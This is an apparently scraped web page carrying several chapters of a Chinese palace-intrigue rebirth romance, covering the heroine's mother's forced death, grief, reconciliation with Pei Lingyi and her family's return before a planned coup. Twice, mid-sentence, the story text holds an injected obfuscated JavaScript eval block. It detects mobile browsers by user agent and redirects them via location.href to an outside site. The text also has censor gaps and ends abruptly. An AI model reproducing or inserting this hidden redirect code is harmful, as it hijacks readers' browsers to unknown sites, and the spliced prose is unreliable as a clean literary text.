她轻飘飘两个字,却让金吾卫骇然后退,“朝荣郡主,你这是在谋反!” “我今日只要见到母亲。”元韫浓厉声喝道,“破开这道门者!可赏千金!” 三架云梯不知何时已架上宫墙,元韫浓知道这么做就是死局,这同谋反已经无异了。 但她此刻没得选。 “轰隆——”宫门被撞开一道缝隙。 宫门却轰然从内打开了。 一名紫衣宦官已踉跄扑跪在血泊里,“郡主且慢——” “郡主节哀——”他高举的鎏金托盘上,摆着一支断成两截的簪子,还有一道手谕,“惠贞长公主谋害张贵妃,现已畏罪自裁,太后娘娘赐长公主全尸,一切如旧。陛下已经挑好谥号了,是惠……” 刹那间寂静无声。 元韫浓死死地盯着那一支簪子,指甲陷进马鞍皮革,抑制不住地发抖起来。 前世她的阿娘是郁郁而终病逝,今生居然是被太后逼杀的。 太后、皇后……惠帝! 宦官打量着元韫浓的神情,小心翼翼道:“朝荣郡主,节哀顺变啊。” “节哀顺变?哈……哈!”元韫浓笑出了声。 简直是可笑至极。 “陛下……在哪儿?”她轻问,嗓音柔得像在哄人入睡。 宦官抖如筛糠,说话也结巴了起来,“在、在圣宸宫……” 下一刻,踏雪乌骓就踏过了血泊,扬尘而去。 宦官有些脚软,在冷风里快要冻僵了,捧着托盘弯了腰缓了缓。 但却又听到了一阵由远及近的马蹄声,依稀辨认,分明是从外朝着宫门冲过来的。 他不由发愣,抬头看过去,一匹战马载人飞驰而来,雪光和火光映得那张脸如同雪玉雕琢般。 裴令仪身上战甲血迹尚未干涸,眼尾泛着薄红,肤色欺雪却偏在眼尾了层极淡的胭脂色,昳丽堪比宫墙下新开的朱砂梅昳丽。 战马驻足,马蹄扬起一片雪尘。 马上人垂眸望来,睫毛上还凝着未化的雪晶,淡淡地抬起眸子,锋利的寒意就像一把极度锐利的长刀,杀意凛然。 “郡主呢?”裴令仪问。 他喘息未定,显然是一路风雪兼程赶来。 宦官一时失声,嗫嚅道:“郡主、郡主往前头去了……去圣宸宫了……” 马匹立刻奔驰而去。 圣宸宫前,元韫浓从马鞍跃下,大氅扫过满地碎琼乱玉。 一道染血的身影自一旁飞扑而来,从身后抱住了元韫浓。 他的双臂箍住元韫浓的腰肢,身上的血尚且温热,浸透了衣衫。 雪粒落在他肩头,元韫浓被他从身后拦腰抱住,指尖掐进他的手臂,指甲陷进了他的手腕。 元韫浓嗓音发颤:“松手。” 裴令仪的血顺着衣襟往下淌,砸在雪地里,发出细微的轻响。 “阿姊想做什么?”裴令仪问,手臂却纹丝未动。 “我要他死!”元韫浓说,又咬牙恨声重复道,“我要他死!” 泪水坠进雪地里,消融了片点深雪。 裴令仪唇擦过她耳际,“阿姊不能在这时候动手弑君,岐国公未归,我的兵还没赶到,如今京华是我们兵力匮乏。” 他轻声道:“此时打这未有准备之战,光凭外面的部曲,必败无疑。阿姊甘心就这么输吗?” 元韫浓的呼吸凝滞了一瞬。 裴令仪将下颌抵在她的肩头,“不是今日。” “清都……”元韫浓哑声道。 “我在这里。”裴令仪回应道。 她被裴令仪牢牢地拥入怀中,仿佛要将她揉入骨血一般。 不远处的几人抬着棺椁走向惠贞长公主所居住的宫殿方向。 惠帝身边的内侍走了出来,“清河王,朝荣郡主,陛下醒了,二位可是要面圣?” 裴令仪的掌心覆上了元韫浓的眼睑,“别看,不要看,阿姊。” 温热的眼泪沾湿了他的掌心,“阿姊……” 他亲昵地将脸埋进元韫浓的颈窝,用鼻尖轻轻蹭着元韫浓的颈侧,悲哀道,“阿姊……” “是我来迟……是我来迟了……”他道。 裴令仪掌心覆在元韫浓眼前,血腥气在冰天雪地里带着凌冽清冷的气息。 他的心跳贴着元韫浓的后背,急促而沉重。 裴令仪注视着逐渐远去的棺椁,极轻地说道:“我保证,他们会死得比长公主痛千万倍。” “阿姊,信我一次。”他低声道。 “……好。”元韫浓闭了闭眼,低声道,“不是今日……” 裴令仪的手臂终于松懈了一分,可仍环着她。 元韫浓缓缓推开他,转身望向内侍,眼底的杀意如潮水般褪去,只剩下深不见底的寒潭。 “替我转告陛下。”她微微颔首,“朝荣告退。” 裴令仪的指尖擦过她的手腕,停顿了片刻,确认了她的脉搏。 “走。”他轻声道,“我善后。” 元韫浓攥紧掌心,翻身上了舞阳儿的背,调转马头踏入漫天飞雪。 身后,裴令仪的嗓音幽幽响起:“陛下,臣有本奏——” 元韫浓骑着马往宫墙外前行。 某处的偏门突然被撞开,慕湖舟闯了出来,左臂不自然地垂着,啪嗒啪嗒滴着血。 他左手臂似乎是折了,是方才为了强闯出来受的伤,用右手握着的剑还沾着血。 元韫浓勒马停驻,舞阳儿的鼻息在寒风中凝成白雾。 松墨与铁锈的味道,太熟悉了,慕湖舟身上惯有的味道。 雪落在他的肩头,也落在元韫浓的睫毛上。 慕湖舟的剑尖垂在雪地里,血珠顺着剑脊滑落,融出一个小小的血色坑洼。 他张了张嘴,却先咳了起来,喉间泛着腥甜,怕是伤了肺腑。刚刚 四目相对的瞬间,漫天飞雪凝滞。 元韫浓攥紧了缰绳。 慕湖舟的唇动了动,目光落在元韫浓耳边,那里悬着裴令仪送的白玛瑙耳坠。 “你……”慕湖舟艰难且嘶哑地发出第一个音节。 “风雪如此之大,如此之急,太子殿下该回去了。”元韫浓打断了他,声音清冷。 雪愈急。 舞阳儿向前,与慕湖舟擦肩而过时,好像谁都没有回头。 只是几息之后,慕湖舟转过了身,“浓浓。” 元韫浓勒住了缰绳。 她始终没有回头,只是微微抬眸,望着远处巍峨的宫阙。 那里灯火通明,裴令仪大概正在收拾残局。 裴令仪一贯手段狠厉,斩尽后患。 这回也不知道会如何处理。 慕湖舟忽然笑了,笑声嘶哑:“如果要跟我道别了,好歹看我一眼吧。” 元韫浓的眸光低垂,晃动了一下。 他们之间隔着的何止是这几步的风雪。 “表哥。”她终于开口,嗓音轻得几乎被雪淹没,“保重。” 慕湖舟抬手抹去唇边的血,“……抱歉,我……没能制止,也没能来得及。” 元韫浓却道:“已经不重要了。” 因为结果已经那样了。 马蹄声再次响起,元韫浓的身影渐渐消失在雪幕之中。 慕湖舟站在原地,伫立了许久,看着地上那串蹄印被新雪覆盖。 他忽然想起破庙中他许的愿,他许的是和元韫浓的来生。 愿与她岁岁常相见,愿负担她的来日。 而今一看,果然是妄念。 慕湖舟终于转过身,拖着染血的剑,一步一步走回那座困了他半生的牢笼。 雪地上,两行脚印各自延伸,终究是背道而驰。 他踉跄着扶住宫墙,在墙面上拖出一道狰狞血痕。 慕湖舟突然低笑出声,甩手将怀里的印章抛入池中。 金光闪过,太子金印“扑通”一声坠入浮了碎冰的池水里。 而舞阳儿跑出宫门,宫门在元韫浓身后缓缓闭合,将今夜的血腥与阴谋一同锁在了深宫里。 元韫浓没有回一片狼藉的清河王府,而是回到了岐国公府,自己的岁浓院里。 冷静……冷静…… 元韫浓反复告诫自己应该冷静,不能在此时把什么都搭进去。 她攥紧了掌心,坐在绣凳上,双眸紧闭,奉劝自己理应冷静。 不知道空坐了多久,房门被打开,耳畔传来一声轻叹:“……阿姊。” 元韫浓睁开眼睛,“我该表现得悲愤,我该一蹶不振,才像个丧母的郡主,对吗?” “阿姊要是不适,我也有旁的法子。”裴令仪道。 “太多风险了,就这个吧。演戏而已,这宫里哪一个人不在演?”元韫浓说。 只有麻痹他们,装作颓靡,才能一击毙命。 “要演多久?”她问。 裴令仪说:“万寿节那一日,便可以开始。” “那不远了。”元韫浓说。 “阿姊。”裴令仪上前一步,眼中含有隐忧。 元韫浓却道:“你先回去吧,一路赶来辛苦你了,好好歇歇,我也想一个人静一静。” 裴令仪张了张嘴,似有什么想说的,却最终归于沉寂。 “好,阿姊……”他还是没说出什么,只是道,“若是有事,我都在。” 他本就不是什么伶牙俐齿之人,沉默寡言,从来在元韫浓面前更是口舌笨拙。 元韫浓极轻地应了一声。 裴令仪便走了出去,把门带上。 一合上门,他便几乎是瘫软地背靠着门缓缓滑坐在了地上。 他按住自己发抖的手,血从身下缓慢地渗出。 齐家和白家早有准备,这一战打得极其凶险。 虽然他们奈何不了他,但他同样也没能彻底挫败对方的势力,等同于两败俱伤。 得了消息,他是快马加鞭全力赶来,身上不少伤,也着实是疲惫至极了。 他本就是在病中出战的。 裴令仪的睫毛上还沾着未融化的雪粒和已干涸的血痂,他艰难又绵长地喘息着,又将掌心按在了流血的伤口上。 紧绷的精神稍稍松懈下来,他后知后觉地感受到了疼痛、寒冷、麻木和疲惫。 要做的事情还有很多,他其实应该赶紧起身去处理。 身体的负担也快要达到极限,或者他又该去躺下歇一会,喊大夫来看一看。 但他太累了,而元韫浓就在他身后,一门之隔。 隔着这一扇门,在这样的时候,裴令仪不想离开。 就算是见不到元韫浓,就在外面,好像是陪着她,这样也足够了。 其实他也应该高兴的,尽管元韫浓没有戴上圆月项链,但却戴上了耳坠。 就算元韫浓还没有彻底原谅他,认可他的团圆,但至少也说明元韫浓还是念及旧情的。 裴令仪想了很多东西,头脑昏沉。 眼皮越来越沉重,他不知何时闭上了眼,昏睡了过去。 元韫浓这一夜睡得并不好,只是小憩片刻。 她推门想叫人,却发觉门沉得很,推不动。 用了狠劲,她推开门的刹那,看见外头屋檐上的积雪簌簌而落。 倚在门前的身影猛然一晃,裴令仪的身子歪倒了一下。 裴令仪睫毛颤了颤,晨光里,他苍白的面容浮着病态的潮红,胸口随着呼吸微弱起伏,衣衫已浸成暗红。 身下的血迹也已经凝固干涸了。 元韫浓眉头紧锁,蹲下身摸了摸裴令仪的额头,烫得吓人,“裴令仪。” “你这样是想早点去死吗?这时候你就打算又丢下我一个人?”元韫浓咬牙道,语气里带着愠怒。 “阿姊……”裴令仪突然开口,嗓音哑得骇人,“阿姊的呼吸声比昨夜平稳多了。” 裴令仪染血的指尖虚虚地摸了摸元韫浓的脸庞,“阿姊放心,我很快就好,只是歇一会,很快就好了。我马上就回清河王府,去处理后面的事情。” 元韫浓的手僵在半空。 檐角的铃铛被风雪卷出清越的声响,雪落却是无声无息的。 “我会处理好一切,不叫阿姊烦心。”裴令仪哑声道。 第92章 圆满 元韫浓这出戏演得半真半假,但裴令仪也多少从中看出来了一些自毁感。 裴令仪也暗中瞧见过元韫浓一人时青眉敛,翠黛低,偷拭清珠。 因为是元韫浓,眼泪裴令仪也不知道真假。 但看着元韫浓喝酒时,裴令仪心里也总闷得慌。 裴令仪问过元韫浓要怎么处置裴七,还有那些出手阻拦的裴氏部曲。 元韫浓让裴令仪自己看着办,但也明说了,不可能让裴七活着。 无论是对于谁而言,裴七都已经是和太后党派联手的背叛者了,不管他出于什么目的。 这于或许裴令仪而言,才来得难受。 自小陪在身边长大的裴七和其余的裴氏族亲也没什么两样,都是为了裴雍的来日将他视为一把刀而已。 元韫浓没从裴令仪身上看到太多的犹疑,倒是裴九消沉了一段日子。 裴七的位置,裴令仪从僚属中提了一个叫萧煜的年轻人上去。 元韫浓对这个人的印象也不是非常深刻,但是看着调性,倒是跟裴七也有些像。 但裴令仪确实也都没有心慈手软,该杀杀,该罚罚,上上下下,如果悉数心惊胆战。 清河王府被烧了小半,如今开始修缮。 于是裴令仪顺理成章地回了清仪馆住,也时常到元韫浓面前晃,尽管元韫浓待他照旧冷淡。 惠贞长公主的葬礼因为“谋害张贵妃”这个莫须有的名头,不少人因为害怕惹火上身,并没有前来,所以并不热闹。 元韫浓也不想多热闹,母亲能够安葬才是最重要的。 从头到尾,裴令仪办的都很细致,面面俱到。 所以元韫浓要做的只有潜心贯注地为母亲哀悼。 至于岐国公他们,元韫浓并不想影响到在前线的父兄,但是事情他们总是知道的。 元韫浓等来了父亲的家书。 收到那封家书时,信笺被雪水浸透半边,字迹有些潦草。 应怜吾儿如晤: 北州今岁酷寒,为父新得猞猁皮,已命人制为护膝。春日将近,料峭余寒未散。虽日暖渐长,仍需添减衣衫。 蛮族刁滑,那颜律虽隐有退意,但却死咬不放。今粮草已至,吾儿可放心。 御敌在外,寸步难离。同公主半生夫妻,岂料世事无常,生死两茫茫。 今事端至此,是为父之过。悔不当初,无以为表。 五郎已回,为父悬心稍释。恐你孤身涉险,切莫冲动,待父兄归后商议。然家中诸事,可问五郎。 军中新酿的屠苏酒,较之京华风味更烈。唯望吾儿,勿忘温酒酹地,代父祭妻。 盼吾儿珍重,待还朝之时,再叙别情。 父于北州字 家书不长,却极尽酸楚。 元韫浓都无法想岐国公听闻惠贞长公主死讯,该是什么样的心情。 思及此处,元韫浓又慢慢地为自己斟了一杯酒。 酒水清透,宛若琥珀一般的光色清亮。 裴令仪却道:“阿姊如今尚在病中,喝酒伤身。” 元韫浓抿了抿嘴唇,缄默无言。 “阿姊。”裴令仪像是恳求般,抬眼望着元韫浓,又重复了一遍。 元韫浓仰头将酒水一饮而尽,酒杯搁置在一旁的桌上,“我只是喝点酒而已,这你也要来管吗?” 无言的赌气,甚至于是挑衅,就连她自己也分不清楚是为什么。 或许是因为看到了裴令仪挂在自己颈间的那条白玉圆月项链,好像是无时无刻不在提醒着她什么似的。 “阿姊。”裴令仪喊道。 “少管我。”元韫浓赤着脚,踩在铺着深红绒毯的地板上,“你现在又是以什么身份管我?” 腕骨精巧,肌肤雪白,犹若步步生莲,惊鸿绝艳。 元韫浓任性起来谁都不管,所以裴令仪前世让人将凤仪宫的地砖都换成了暖玉。 裴令仪对元韫浓从来是千般万般的可怜与迁就。 见她要走了,裴令仪眸色渐深,拉住了元韫浓的手腕,“阿姊。” 元韫浓停下,转过头。 裴令仪默然片刻,伸了手,拿了元韫浓用过的酒杯,“阿姊若是想喝,我陪阿姊。” 他给自己倒了一杯酒,仰头饮尽。 元韫浓皱眉。 裴令仪又干了一杯。 “行了。”元韫浓道。 裴令仪却像是没听见一样,这回直接提了酒壶,仰头往嘴里倒去。 “够了!”元韫浓夺下裴令仪手中的酒壶,丢到一边。 “哐当”一声,酒壶翻倒,酒液倾洒。 一下子静得可怕,元韫浓愠怒道:“你不想活了是不是?还在病中就这样喝酒?” 裴令仪无声地凝视着元韫浓的双眸,问:“原来阿姊也知道病中饮酒伤身子,也会关心我死活。那怎么我劝阿姊,三番五次,阿姊都不听我的?” 元韫浓咬着牙,却说不出什么别的来。 她也一样,有时候面对裴令仪,她也不知道该说什么,她也不知道该怎么办。 “阿姊,你别这样作弄我,别这样作践自己。”裴令仪握着元韫浓的手腕,将人轻轻拉到眼前,动作却不容置喙。 他注视着元韫浓的眼睛,瞳眸的深色介于鸦羽与夜潮之间,幽幽映着灯火,盛着细碎的金红,像是落日熔金时跌进深潭的残光。 元韫浓被他的眼睛望着有些心颤。 “别当我是真的无情。”裴令仪轻声说道。 “你……”元韫浓的指尖掠过他的眉骨。 裴令仪的眼睛在烛光下像是淬了夜色的琥珀蛊,泛起涟漪,溢出细碎的光。 他的睫毛微颤,“我倒宁愿阿姊再自私一些,总好过现在这般。” “我问你,你须实话同我说。”元韫浓道。 “我什么都告诉阿姊。”裴令仪仰着脸,直勾勾地盯着元韫浓看。 元韫浓问:“上一世你强逼我入宫,到底是想要我陪你,还是爱我?” “……都有。”裴令仪说了实话。 他苦涩地自嘲一笑:“其实刚开始只是想要拆开阿姊和沈川的,我把慕水妃和沈川安排在一起,告诉自己这是为了报恩,报慕水妃曾经照顾我的恩情。” “但是让阿姊做我的皇后,我却分不清是为什么。”他道,“我自己也分不清是为了报复阿姊对我的漠视与刻薄,是为了吸引阿姊的注意,还是为了自己心里那点见不得人的心思。” 刚开始连他自己都不相信,自己是爱元韫浓。 爱恨参半,难堪又执拗。 在元韫浓反复搜集有沈川特性的人留在身边后,他和元韫浓争执,口不择言,骗元韫浓自己杀了沈川,元韫浓甩了他一巴掌。 他是在那之后和慕水妃细谈,才绝望且恍然地发觉,自己竟爱上了元韫浓。 “后来我才明白,我爱阿姊,我真的爱你。”裴令仪抬眸望向元韫浓。 元韫浓沉默了片刻,又问:“所以前世死时,你打算放我走?” “嗯。”裴令仪抬眼望人时,眼尾微挑,眼角尾梢洇着极淡的蜜色阴影。 “那为什么今生又不愿意放手了?”元韫浓问。 “因为这一世是阿姊先朝我递出手的。”裴令仪回答。 他说道:“上辈子我们都不高兴,我不想阿姊因为和我在一起,再那么苦了。人之将死,我想就算了吧,就让阿姊高兴些吧。” 元韫浓明白了裴令仪想的。 果不其然,裴令仪道:“但是这辈子阿姊既然主动靠近我了,无论是为了什么,无论是不是赌我来日能为你带来什么。但这也是说明,阿姊没有想要与我死生不复相见。” “我们一起经历过那么多,这一回我们是自幼相伴着,青梅竹马长大的。这一回不一样,阿姊因我真心实意笑过,真心实意难过了。”裴令仪道。 “那为什么不说呢?”元韫浓错开了和裴令仪对视的视线,“重回一世,为什么要什么都不告诉我?” 裴令仪苦笑:“因为我知道阿姊恨我,倘若阿姊知道了,或许就不会留我了呢?” 元韫浓道:“你就是那么想的。” “事实上阿姊确实是这么做的。”裴令仪道,“所以有这一回,我绝无可能放手。” 原来如此。元韫浓合上了眼眸。 “所以阿姊尽管恨我,无论如何,我都绝无可能放手了。”裴令仪轻声道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565140|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元韫浓则是说:“我没打算让你放手。” 裴令仪愣了愣,“阿姊?” “分明是送给我的,既然修好了,为什么反倒是自己戴着了?”元韫浓指了指裴令仪胸前的白玉坠子。 裴令仪愣愣地摸上坠子,似乎有些不可置信。 “怎么?”元韫浓略微挑眉,“当了这清河王,反倒是吝啬到连条项链都要收回去了?要与我割席断交?” 意识到元韫浓的意思之后,裴令仪死水一潭的眼底会浮起细碎的光亮。 像月光碎银撒进潭水一般,裴令仪几乎是喜极而泣。 “做什么?讨回一条项链,你倒是要哭了。”元韫浓道。 裴令仪还真的掉了眼泪,泪珠滚过睫毛坠在眼角,被水光浸得发亮的眼睛像黑曜石蒙了层薄雾的,让人心生怜意。 他软声喊道:“阿姊。” “行了。”元韫浓推了一下他靠过来的脑袋,没推动。 裴令仪蹭到元韫浓的肩膀上,眼底流露出不加掩饰的欢喜,“我很高兴,我是真的很高兴,阿姊。” 元韫浓低头应了一声,“把项链给我戴上吧。” “好。”裴令仪尾音都是上扬的,笑意吟吟地摘下了项链。 元韫浓将头发撩到一边,裴令仪俯首细致地为她戴上了项链。 她摸着温凉的坠子,凝视着上面细微的裂痕。 注视着这些痕迹,裴令仪像是仍然会为此而难过。 他的指腹摩挲过那些裂痕,指尖与元韫浓的手指相碰,“是我的错。” “是我前世天资愚钝,领悟不得爱恨,才叫这些裂缝越裂越深。”裴令仪轻声道。 元韫浓握住了裴令仪的指尖,“我早说过了,叫你不要自苦。” “谢谢阿姊。”裴令仪的声音更轻了。 “谢我什么?”元韫浓扬眉。 裴令仪半拥着元韫浓,将下巴搁在元韫浓的颈肩,“谢阿姊,许我重圆之日。” “我可没什么都应了你。”元韫浓提醒,“我还是要当皇后的。” “好,都好。”裴令仪勾起唇角,“阿姊说的都好,我必然让阿姊回到凤仪宫。” 元韫浓“嗯”了一声,还算满意。 “我明日便好好筹划,待到国公他们回来,就可以实施计划了。”裴令仪在元韫浓耳边低语。 他的喁喁细语在元韫浓耳畔,染了些潮气。 有些痒,元韫浓耸了一下肩膀缩了回去,“怎么是明日?” 裴令仪故作可怜道:“可是夜已深了,阿姊还要赶我去做事吗?” “人家挑灯夜战,是半点不疲惫不困倦的,你倒好了,年纪轻轻这辈懈怠懒散。”元韫浓点了点裴令仪的额头。 “这些事情明早再做,如今可还是有更重要的事情。”裴令仪亲昵地蹭了蹭元韫浓。 元韫浓顿时了然,明白了裴令仪的言下之意。 她气恼里又觉得有些好笑,“我看你是喝醉了酒,满脑子这点东西。” “阿姊——”裴令仪拉长了点调子,像在撒娇,“已经很久了……” 这倒是,裴令仪怎么说也是血气方刚的年轻人,对于他来说确实是很久了。 但元韫浓依然有些犹豫,“恐怕会过了病气……” “谁怕这个呀。”裴令仪笑开了,手掌落在了元韫浓腰间,手指缠上了腰带。 元韫浓眉心一跳,“简直是荒淫无度,成何体统?” 裴令仪知道元韫浓也只是说说而已,笑着吻了过去。 一吻缠绵。 “你老实交代了,你在军中,有没有梦见我?”元韫浓这话显然是带有点绚烂色彩的。 裴令仪亲了亲她的眼角,“在比这更早的时候就有了。” 元韫浓啧了一声:“哪里像是个成大业者的模样?” “可我只能梦到阿姊,梦到了也全是阿姊。”裴令仪故作委屈巴巴地望着元韫浓。 “嗯,嗯。”元韫浓点了点头,含笑咬了一下他的脖颈,“所以现在让你圆梦呢。” 裴令仪眸光晦暗下来,“这是阿姊说的。” 他的噩梦,美梦,春梦,都有关于元韫浓。 见了她,礼崩乐坏。 第93章 归家 那颜律还是暂且退兵了,是因为北凉的皇帝殡天,他急着回主城去争皇位。 这给了南朝喘息的空间,默认为休战之后,岐国公、元彻回和元蕴英就启程回来了。 元韫浓对外称病,自然不可能去亲自迎接。 也正是如此,她才避免了臣子们对她带着部曲夜闯宫门的问责,还有太后对她手上半块虎符的惦记,把事情都丢给了裴令仪。 如今父兄回京,她不能迎,也是交给了裴令仪。 裴令仪很乐意代为效劳。 元韫浓便在岐国公府安心等待父兄归家。 她其实对于母亲的去世早有准备,因为她已经经历过一回了。 但再来一次,她依然为此疼痛。 她也不想再失去谁。 她的家人,她的朋友,还有裴令仪。 所以当元韫浓看到风尘仆仆的父兄和姐姐时,眼泪还是忍不住地往下掉。 岐国公鬓角华发生,仿佛苍老了许多。 元彻回半边身子都缠了纱布,左耳一道血淋淋的口子,再深一些怕是整只耳朵都要被削下来。 而元蕴英脸颊上一道极深的疤痕,横贯了半张脸。 元韫浓难免哽咽,小跑过去抱住了他们。 岐国公将小女儿抱入怀中,轻轻拍抚着她的背脊,“应怜,我的孩子,辛苦了……” “今我来迟,才叫吾儿受苦了。”岐国公摸了摸元韫浓冰凉的脸庞,手有些抖,声音也有些发颤。 他说:“应怜,让为父再好好看看你。” 亡妻留给他的,唯一的孩子和遗物。 元韫浓抬眼看向岐国公,岐国公一样眼眶湿润了。 什么都没有说,但是所有人都懂得了。 “云和那里,为父跟她说了,如今多事之秋,暂且不要回府。”岐国公道,“白云观比京中很多地方都要清净,也要安全。云和留在那里,有云水**照顾,让人放心。” 元韫浓点了点头。 元云和留在白云观也好,惠贞长公主下葬的时候,她还是回来了。 她抱着元韫浓哭,又擦掉元韫浓的眼泪说还有姐姐在,然后挨个去接待来吊唁的宾客。 往昔岐国公府的庭院里,有着银烛高烧到天明的盛景。 往来的贵人们鱼贯而入,环佩叮当。 这会却冷清了起来,但来的除却那些两头下注的,都是真心人。 元云和也没有在国公府留多久,等到惠贞长公主下葬,她便回白云观了。 元韫浓问过她:“如果要颠覆朝代,姐姐会不会下山造势?” 元云和回答:“我随云水**修行,占星一术上也初窥皮**。” “我在白云观修行时,四娘同我通信,我每每修书都问陛下康健否。”她望向宫墙的位置,“其实,我就是在等我占卜的星象印证的那一天。” 因为她占卜到了衰弱,而新的帝星光芒却愈发耀眼了。 轩辕十四和紫微星,相当亮眼。 她尚在学艺,并不精通,不清楚那两颗星代表着谁。 但她只要知道,惠帝的星象黯淡无光就够了。 她一直在期待那一天,天下皆知的那一天。 如果她的助力能使得这一天早日到来,那她求之不得。 元韫浓明白了元云和的选择,对于元云和来说谁是皇帝并不重要,重要的是惠帝不是皇帝。 但她还不清楚,自己的父兄和三姐做的是什么样的决定。 这些问题还没弄清楚,单单是看着现在的他们,元韫浓都感到酸楚。 “阿兄,疼不疼的啊?现在还疼吗?”元韫浓哽咽问道。 元彻回摇了摇头,摸了摸元韫浓的脑袋,“阿兄不疼,倒是你,清减了不少。” 他的眼神冷了下来,似乎是望远了,“真是委屈我们应怜。” “没事了,我们不是回来了吗?”元蕴英道。 元韫浓看着元蕴英脸上那道疤,喉头似乎是被沾了水的棉花堵住了一样,更加酸涩。 她伸出手想要触碰,但停在半空就不敢向前了。 那道疤痕太狰狞了,而且还在面中,与毁容无异。 伤成这样,无论如何都会留疤了。 “我的傻妹妹啊。”元蕴英抓着元韫浓的手腕,带着她的手贴上自己脸上的伤,“怕什么?是姐姐脸上这道伤吓到你了?” 元韫浓哑然,她只是恼恨。 凭什么他们元氏如此,还得不到应有的。 她的父兄和姐姐为了惠帝,为了南朝在外征战,而她的阿娘却被太后逼杀。 惠帝默许且装聋作哑,甚至还想截杀元氏,没收兵权。 她憎恨惠帝,憎恨太后与皇后。 她怨恨那些人,怨恨那些高坐庙堂享受他们付出却还一门心思暗害他们的人。 元蕴英平和地扯动唇角,“别难过了,这有什么?不就是一道疤吗?这不只是疼痛,这也是荣耀,是我所思所想的实现。” 她想要站上沙场,她想要握住刀兵,她做到了。 这些远比这道疤重要。 “我知道。”元韫浓轻声说道。 她心想,可我只是心疼你们的痛苦,只有我能看到。 裴令仪轻轻拍了拍元韫浓的肩膀,“阿姊,先让国公他们看看长公主吧。” “对。”元韫浓背过身,悄然拭去泪水,“去看看阿娘吧。” 太后不允许任何人为惠贞长公主供奉牌位,不入宗庙,还想要长公主葬在别处。 但惠帝坚持要惠贞长公主的尸骨葬入皇陵。 但裴令仪和元韫浓是以相当强硬的态度,在岐国公府里供了牌位。 案前摆着供果,牌上写了岐国公妻、惠贞长公主之神位。 岐国公盯着牌位,僵硬地一步一步走过去,走到案前,膝盖一软,忽然屈膝跪了下去,砸在地砖上的闷响不轻。 他颤抖的指尖抚过牌位边缘,在摸到惠贞两个字时顿了顿。 “是我……来迟了。”岐国公嗓子发涩。 元彻回和元蕴英跪下给惠贞长公主磕了三个头。 裴令仪在旁看着,也相当不是滋味。 他天性冷淡,对世间万物都不抱有好感,甚至是憎恶所有。 尤其是前世,很少有人知道他一路过来有多艰难,也很少有人知道他曾经度过朝不保夕的日子。 没有尊严,被人当狗耍,甚至饿得啃树皮,冷得瑟瑟发抖。 多少次他险些死在深宫里头无人问津,但他命硬,挺过来了。 今生是因为元韫浓,他没有过太久太久的苦日子。 但他依然不对这世间抱有好感,他只是在意元韫浓而已。 因为岐国公和惠贞长公主是元韫浓的爹娘,他才会尽可能地抱有善意。 这也是岐国公和惠贞长公主先前用意的原因,沈川本身就是很好的人,而像裴令仪这样出身的孩子,本身心思就很难揣测。 所以他对岐国公和惠贞长公主并没有抱有感情,顶多是在同一阵营里需要尊敬的长辈罢了,最重要的头衔其实是元韫浓的父母。 但他也见过岐国公出征之前的那一句“至亲至疏夫妻”。 就那么一别,居然天人两隔。 什么都没有说出口,对彼此的心意也不清不楚,还有那么多的误会没有解开,却偏偏再也没有机会去说去问了。 裴令仪无声地望向了元韫浓。 可他和元韫浓的前世也是这样的,不清不楚,不明不白地结束了。 即使现在也很好,但是每每想起过去,他总觉得遗憾和难过。 岐国公猛然起身,按着桌案站稳了,案头的白烛摇晃了一下,烛火闪动。 “应怜,这些日子你着实辛苦,也着实委屈了。先回去歇歇吧,为父有话要问五郎。”岐国公哑着声道。 元韫浓知道岐国公是不想让自己掺和进去这些事情,还是想保护她,万一出了什么事情,她还可以不知情。 “好。”元韫浓应声走到门前,却停下了脚步。 顿了顿,她道:“父亲,如果你下定决心要去做的话,那你该选清都。” 众人皆是一愣。 元韫浓说:“如今京中形势是谁也奈何不了谁,清都和太后他们分庭抗礼,但清都不能一个人应对得了齐家、白家、徐家和张家。更别提后面的太后、皇后,甚至于是**派。” “阿姊。”裴令仪走到元韫浓身边。 元韫浓看了他一眼,“北凉也随时都可能卷土重来,若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569130|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内战,需要尽快解决,不能让北凉坐收渔翁之利。最好是在那颜律彻底解决北凉的皇位归于谁这个问题之前,我们也解决自己的问题。” 元韫浓说的话都是真的,形势也是准确的。 岐国公他们半是愕然,半是忧虑地看着元韫浓。 “应怜,你告诉父亲,说实话。”岐国公不禁蹙眉,“你跟五郎是不是早有此心?” “不管坐上皇位的人是谁,总之不可能是惠帝。”元韫浓却道,“父亲就算是为了清君侧,也该选清都才对。” 岐国公沉默半晌,突然轻笑:“想不到反而是我迂腐了半生,现在也该清醒清醒了。” 他到底当什么保皇派,做什么岐国公? 他凝视牌子上“惠贞长公主”的刻痕,“应怜,你回房歇息吧,为父和五郎谈。” “好,女儿告退。”元韫浓行礼离开。 合上门前,她又看了一眼裴令仪,裴令仪对她安抚地颔首示意。 等到元韫浓离开,岐国公看向了裴令仪,“方才的话,都是应怜心甘情愿说的吧?” “阿姊主意比我大,我都听阿姊的。”裴令仪坦然道。 他表明了自己的立场。 其实也并不是元韫浓站在了他这一边,是他站在了元韫浓这一边。 “好。”岐国公点了点头,“五郎,你也跟我说句实话,你说,你是不是为了复国。” “人马藏在漕运盐车里。““母亲头七那日,这些船会载着北境刀甲进京。 